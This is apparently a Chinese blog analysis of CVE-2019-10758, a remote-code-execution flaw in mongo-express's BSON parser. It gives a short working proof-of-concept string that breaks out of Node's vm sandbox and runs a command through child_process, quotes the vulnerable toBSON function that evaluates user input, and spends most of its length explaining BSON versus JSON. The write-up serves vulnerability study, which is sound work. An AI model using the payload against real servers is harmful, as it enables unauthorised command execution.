CVE-2019-10758
根据https://github.com/masahiro331/CVE-2019-10758/blob/master/main.js的内容可知，在上一篇里已经讲了怎么debug调试nodejs。
所以在工作区新建一个test.js的文件。内容为：
exploit = "this.constructor.constructor("return process")().mainModule.require('child_process').execSync('/Applications/CotEditor.app/Contents/MacOS/CotEditor')"
var bson = require('mongo-express/lib/bson')
bson.toBSON(exploit)
至于想执行的命令可以自行更改，我这边是运行一个mac下的软件。
根据poc可知，漏洞关键点在bson库里的toBSON函数。百度一下bson是什么东西？和json又有什么关系？
引用：https://blog.csdn.net/m0_38110132/article/details/77716792
参考百科说明：BSON( Binary Serialized Document Format) 是一种二进制形式的存储格式，采用了类似于 C 语言结构体的名称、对表示方法，支持内嵌的文档对象和数组对象，具有轻量性、可遍历性、高效性的特点，可以有效描述非结构化数据和结构化数据。
BSON是一种类json的一种二进制形式的存储格式，简称Binary JSON，它和JSON一样，支持内嵌的文档对象和数组对象，但是BSON有JSON没有的一些数据类型，如Date和BinData类型。
BSON可以做为网络数据交换的一种存储形式，这个有点类似于Google的Protocol Buffer，但是BSON是一种schema-less的存储形式，它的优点是灵活性高，但它的缺点是空间利用率不是很理想，
BSON有三个特点：轻量性、可遍历性、高效性。
例子
一个Document的BSON表示
{
title:"MongoDB",
last_editor:"192.168.1.122",
last_modified:new Date("27/06/2011"),
body:"MongoDB introduction",
categories:["Database","NoSQL","BSON"],
revieved:false
}
这是一个简单的BSON结构体，其中每一个element都是由key/value对组成的
一个嵌套的例子
{
name:"lemo",
age:"12",
address:{
city:"suzhou",
country:"china",
code:215000
} ,
scores:[
{"name":"english","grade:3.0},
{"name":"chinese","grade:2.0}
]
}
这是一种相对复杂点的例子，其中包括了地址对象和分数对象数组，这里使用了嵌套文档对象与文档对象数据来表示单个学生的信息，这种嵌套的文档结构要使用关系数据库来做是比较复杂的。
与JSON的区别
以下内容参考自 http://blog.csdn.net/z69183787/article/details/26709505 感谢谢原作者。
BSON是由10gen开发的一个数据格式，目前主要用于MongoDB中，是mongodb的数据存储格式。BSON基于JSON格式，选择JSON进行改造的原因主要是JSON的通用性及JSON的schemaless的特性。
BSON主要会实现以下三点目标：
（1）更快的遍历速度
对JSON格式来说，太大的JSON结构会导致数据遍历非常慢。在JSON中，要跳过一个文档进行数据读取，需要对此文档进行扫描才行，需要进行麻烦的数据结构匹配，比如括号的匹配，而BSON对JSON的一大改进就是，它会将JSON的每一个元素的长度存在元素的头部，这样你只需要读取到元素长度就能直接seek到指定的点上进行读取了。
（2）操作更简易
对JSON来说，数据存储是无类型的，比如你要修改基本一个值，从9到10，由于从一个字符变成了两个，所以可能其后面的所有内容都需要往后移一位才可以。而使用BSON，你可以指定这个列为数字列，那么无论数字从9长到10还是100，我们都只是在存储数字的那一位上进行修改，不会导致数据总长变大。当然，在MongoDB中，如果数字从整形增大到长整型，还是会导致数据总长变大的。
（3）增加了额外的数据类型
JSON是一个很方便的数据交换格式，但是其类型比较有限。BSON在其基础上增加了“byte array”数据类型。这使得二进制的存储不再需要先base64转换后再存成JSON。大大减少了计算开销和数据大小。
但是，在有的时候，BSON相对JSON来说也并没有空间上的优势，比如对{“field”:7}，在JSON的存储上7只使用了一个字节，而如果用BSON，那就是至少4个字节（32位）
目前在10gen的努力下，BSON已经有了针对多种语言的编码解码包。并且都是Apache 2 license下开源的。并且还在随着MongoDB进一步地发展。
1 exports.toBSON = function (string) { 2 var sandbox = exports.getSandbox(); 3 4 string = string.replace(/ISODate(/g, 'new ISODate('); 5 string = string.replace(/Binary(("[^"]+"),/g, 'Binary(new Buffer($1, "base64"),'); 6 7 vm.runInNewContext('doc = eval((' + string + '));', sandbox); 8 9 return sandbox.doc; 10 };
跟踪来到第7行，发现eval和之前string代码进行拼接了。百度查看vm.runInNewContext的函数意义。
emmm。。。。运行js代码。。。那就直接拼接了代码。。。。直接执行了命令。
查看这个文件的history。发现修复方式是删除了vm这个库的引用。
